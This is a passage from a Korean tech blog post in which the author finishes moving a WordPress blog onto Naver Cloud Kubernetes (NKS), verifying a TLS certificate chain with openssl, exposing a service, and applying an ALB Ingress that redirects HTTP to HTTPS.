fullca.pem cat dstrootcax3.pem >> fullca.pem openssl verify -CAfile fullca.pem cert.pem cert.pem: OK ```bash 이렇게 하면 이제 private key, public key, root ca chain 해서 Certificate Manager에 인증서가 등록이 가능하다. 여기에 잘 등록하면, ![](/images/2021/09/image-4-1024x186.png) 이렇게 인증서를 등록할수 있다. 인증서의 발급기관은 R3로 뜬다. ![](/images/2021/09/image-5.png) 이제 드디어 ingress 를 만들 준비가 되었다. ingress 를 만들기 위해 먼저 svc가 필요하다. ```bash k expose deployment php-fpm-nginx-deployment --type=NodePort --port=80 --target-port=80 --name=php-fpm-nginx-deployment k get svc NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE php-fpm-nginx-deployment-svc NodePort 198.19.196.141 <none> 80:30051/TCP 24h ```bash 정상적으로 만들어 진게 확인되면, ```bash cat << EOF | k apply -f - apiVersion: extensions/v1beta1 kind: Ingress metadata: annotations: kubernetes.io/ingress.class: alb alb.ingress.kubernetes.io/listen-ports: '[{"HTTP": 80},{"HTTPS":443}]' alb.ingress.kubernetes.io/ssl-certificate-no: "----" alb.ingress.kubernetes.io/actions.ssl-redirect: | {"type":"redirection","redirection":{"port": "443","protocol":"HTTPS","statusCode":301}} labels: linuxer: blog name: slinuxer-blog-ingress spec: backend: serviceName: php-fpm-nginx-deployment-svc servicePort: 80 rules: - http: paths: - path: /* backend: serviceName: ssl-redirect servicePort: use-annotation - path: /* backend: serviceName: my-service servicePort: 80 EOF ```bash 대망의 ingress다. ALB 컨트롤러를 이용해 ingress를 생성하고 컨트롤한다.alb.ingress.kubernetes.io/ssl-certificate-no: "----" 이부분은 Resource Manager에서 NRN을 확인하자. 이후 내블로그를 NKS로 완벽하게 이전을 마치고 앞으로의 K8S의 테스트 환경이 될 모르모트로 완성되었다. 이이후 Route53에서 DNS를 돌리고 자원을 하나씩 중지했다. 입사후 긴시간 동안 마음만 먹었던 프로젝트를 끝내서 너무 속이 시원하다. 이제 NKS위에서 전보다 나은 퍼포먼스를 보여줄 LINUXER BLOG를 응원해 주시라! 즐거운 밤이 되시길 빈다.

September 2, 2021 · 6 min · 📁 Linux, NCP, Kubernetes · 🏷️ k8s, wordpress, NKS